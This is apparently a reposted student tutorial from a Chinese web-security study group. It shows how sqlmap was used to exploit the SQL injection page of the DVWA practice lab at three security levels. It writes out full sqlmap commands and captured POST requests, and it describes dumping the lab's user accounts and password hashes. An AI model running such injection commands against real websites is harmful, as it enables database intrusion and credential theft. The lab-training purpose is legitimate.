搜索

[26994] 2020-05-18_【学员分享】基于sqlmap对DVWA靶场SQL注入进行破解

文档创建者：s7ckTeam
浏览次数：73
最后更新：2025-01-19
2020-05-18_【学员分享】基于sqlmap对DVWA靶场SQL注入进行破解 【 学 员 分 享 】 基 于 s q l m a p 对 D V W A 靶 场 S Q L 注 入 进 行 破 解 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 5 - 1 8 本 文 作 者 ： 啊 昊 啊 昊 （ W E B 安 全 攻 防 星 球 学 员 ） L O W 等 级 等 级 尝 试 正 确 的 提 交 方 式 ： 查 看 地 址 ： h t t p : / / w w w . d . c o m / D V W A - 1 . 9 / v u l n e r a b i l i t i e s / s q l i / ? i d = & S u b m i t = S u b m i t # 查 看 c o o k i e ： c o o k i e : s e c u r i t y = l o w ;   P H P S E S S I D = s s g d h r 8 n r 2 s 5 l o c u 7 a m u l e 1 3 q 5 通 过 网 址 我 们 可 以 发 现 ， 提 交 方 式 是 用 G e t 方 式 的 ！ 开 启 s q l m a p 对 改 网 址 进 行 扫 描 ： 发 现 提 示 ， 有 注 入 点 ， 选 择 n o 。 开 始 下 个 阶 段 的 注 入 。   查 看 数 据 库 ： 查 询 表 ： 查 询 u s e r s 表 中 的 字 段 ： 查 询 表 中 u s e r , 和 p a s s s w o r d 的 信 息 ： C : P y t h o n 2 7 s q l m a p > s q l m a p . p y   - u   " h t t p : / / w w w . d . c o m / D V W A - 1 . 9 / v u l n e r a b i l i t i e s / s q l i / ? i d = & S u b m i t = S u b m i t # "   - - c o o k i e   " s e c u r i t y = l o w ;   P H P S E S S I D = s s g d h r 8 n r 2 s 5 l o c u 7 a m u l e 1 3 q 5 " C : P y t h o n 2 7 s q l m a p > s q l m a p . p y   - u   " h t t p : / / w w w . d . c o m / D V W A - 1 . 9 / v u l n e r a b i l i t i e s / s q l i / ? i d = & S u b m i t = S u b m i t # "   - - c o o k i e   " s e c u r i t y = l o w ;   P H P S E S S I D = s s g d h r 8 n r 2 s 5 l o c u 7 a m u l e 1 3 q 5 "   - - c u r r e n t - d b C : P y t h o n 2 7 s q l m a p > s q l m a p . p y   - u   " h t t p : / / w w w . d . c o m / D V W A - 1 . 9 / v u l n e r a b i l i t i e s / s q l i / ? i d = & S u b m i t = S u b m i t # "   - - c o o k i e   " s e c u r i t y = l o w ;   P H P S E S S I D = s s g d h r 8 n r 2 s 5 l o c u 7 a m u l e 1 3 q 5 "   - - t a b l e s   - D C : P y t h o n 2 7 s q l m a p > s q l m a p . p y   - u   " h t t p : / / w w w . d . c o m / D V W A - 1 . 9 / v u l n e r a b i l i t i e s / s q l i / ? i d = & S u b m i t = S u b m i t # "   - - c o o k i e   " s e c u r i t y = l o w ; P H P S E S S I D = s s g d h r 8 n r 2 s 5 l o c u 7 a m u l e 1 3 q 5 "   - - c o l u m n s   - D C : P y t h o n 2 7 s q l m a p > s q l m a p . p y   - u   " h t t p : / / w w w . d . c o m / D V W A 1 . 9 / v u l n e r a b i l i t i e s / s q l i / ? i d = & S u b m i t = S u b m i t # "   - - c o o k i e   " s e c u r i t y = l o w ; P H P S E S S I D = s s g d h r 8 n r 2 s 5 l o c u 7 a m u l e 1 3 q 5 "   - - d u m p   - D " d v w a "
得 到 结 果 ， 并 计 算 出 h a s h 值 ： M e d i u m 等 级 等 级 正 常 提 交 请 求 ： 网 址 ： h t t p : / / w w w . d . c o m / D V W A - 1 . 9 / v u l n e r a b i l i t i e s / s q l i / # c o o k i e 值 ： s e c u r i t y = m e d i u m ;   P H P S E S S I D = s s g d h r 8 n r 2 s 5 l o c u 7 a m u l e 1 3 q 5 用 第 一 次 的 方 法 去 测 试 ：   [ C R I T I C A L ]   n o   p a r a m e t e r ( s )   f o u n d   f o r   t e s t i n g   i n   t h e   p r o v i d e d   d a t a   ( e . g .   G E T   p a r a m e t e r   ' i d '   i n   ' w w w . s i t e . c o m / i n d e x . p h p ? i d = 1 ' ) 发 现 s q l m a p 报 错 。 查 看 数 据 包 ： 发 现 提 交 网 址 为 ： / D V W A - 1 . 9 / v u l n e r a b i l i t i e s / s q l i / ， ， 提 交 的 数 据 包 为 i d = 1 & S u b m i t = S u b m i t 。 。 因 此 在 s q l m a p 用 如 下 指 令 进 行 测 试 ： 期 待 的 结 果 到 来 了 ： O K ， 重 复 L O W 级 别 的 操 作 就 可 以 拿 到 用 户 的 账 户 和 密 码 了 。 H i g h 等 级 等 级 正 常 提 交 请 求 ： P O S T   / D V W A - 1 . 9 / v u l n e r a b i l i t i e s / s q l i /   H T T P / 1 . 1 H o s t :   w w w . d . c o m U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 1 ;   W O W 6 4 ;   r v : 4 9 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 4 9 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , / ; q = 0 . 8 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , e n - U S ; q = 0 . 5 , e n ; q = 0 . 3 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e R e f e r e r :   h t t p : / / w w w . d . c o m / D V W A - 1 . 9 / v u l n e r a b i l i t i e s / s q l i / C o o k i e :   s e c u r i t y = m e d i u m ;   P H P S E S S I D = s s g d h r 8 n r 2 s 5 l o c u 7 a m u l e 1 3 q 5 D N T :   1 X - F o r w a r d e d - F o r :   8 . 8 . 8 . 8 C o n n e c t i o n :   k e e p - a l i v e U p g r a d e - I n s e c u r e - R e q u e s t s :   1 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   1 8 i d = 1 & S u b m i t = S u b m i t s q l m a p . p y   - u   " h t t p : / / w w w . d . c o m / D V W A - 1 . 9 / v u l n e r a b i l i t i e s / s q l i / "   - - c o o k i e   " s e c u r i t y = m e d i u m ; P H P S E S S I D = s s g d h r 8 n r 2 s 5 l o c u 7 a m u l e 1 3 q 5 "   - - d a t a   " i d = 1 & S u b m i t = S u b m i t "
页 面 跳 转 了 ， 难 道 我 们 的 s q l m a p 行 不 通 了 ？ 尝 试 用 中 级 的 方 法 ， 发 现 不 到 漏 洞 ， 因 为 页 面 已 经 跳 转 了 ， 别 慌 ， 我 们 还 有 - - s e c o n d - o r d e r 这 个 办 法 ！ 首 先 我 们 先 抓 取 下 数 据 包 ： 可 以 看 到 ， 这 是 从 / s e s s i o n - i n p u t . p h p 来 的 要 去 到 我 们 之 前 的 页 面 / D V W A - 1 . 9 / v u l n e r a b i l i t i e s / s q l i / O K ， 可 以 尝 试 一 下 了 。 P O S T   / D V W A - 1 . 9 / v u l n e r a b i l i t i e s / s q l i / s e s s i o n - i n p u t . p h p   H T T P / 1 . 1 H o s t :   w w w . d . c o m U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 1 ;   W O W 6 4 ;   r v : 4 9 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 4 9 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , / ; q = 0 . 8 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , e n - U S ; q = 0 . 5 , e n ; q = 0 . 3 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e R e f e r e r :   h t t p : / / w w w . d . c o m / D V W A - 1 . 9 / v u l n e r a b i l i t i e s / s q l i / s e s s i o n - i n p u t . p h p C o o k i e :   s e c u r i t y = h i g h ;   P H P S E S S I D = s s g d h r 8 n r 2 s 5 l o c u 7 a m u l e 1 3 q 5 D N T :   1 X - F o r w a r d e d - F o r :   8 . 8 . 8 . 8 C o n n e c t i o n :   k e e p - a l i v e U p g r a d e - I n s e c u r e - R e q u e s t s :   1 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   1 8 i d = 1 & S u b m i t = S u b m i t s q l m a p . p y   - u   " h t t p : / / w w w . d . c o m / D V W A - 1 . 9 / v u l n e r a b i l i t i e s / s q l i / s e s s i o n - i n p u t . p h p ”   - - d a t a   " i d = 1 & S u b m i t = S u b m i t "   - p   " i d "   - - c o o k i e   " s e c u r i t y = h i g h ; P H P S E S S I D = s s g d h r 8 n r 2 s 5 l o c u 7 a m u l e 1 3 q 5
看 到 这 个 出 现 ， 嘿 嘿 ， 接 下 来 那 就 和 l o w 级 别 一 样 就 好 啦 ！ 总 结 总 结 s q l m a p 真 是 一 款 注 入 神 器 呀 ！ ！ ！ 扫 描 下 方 二 维 码 加 入 扫 描 下 方 二 维 码 加 入 W e b 安 全 安 全 星 球 学 习 星 球 学 习 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 目 前 目 前 2 5 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理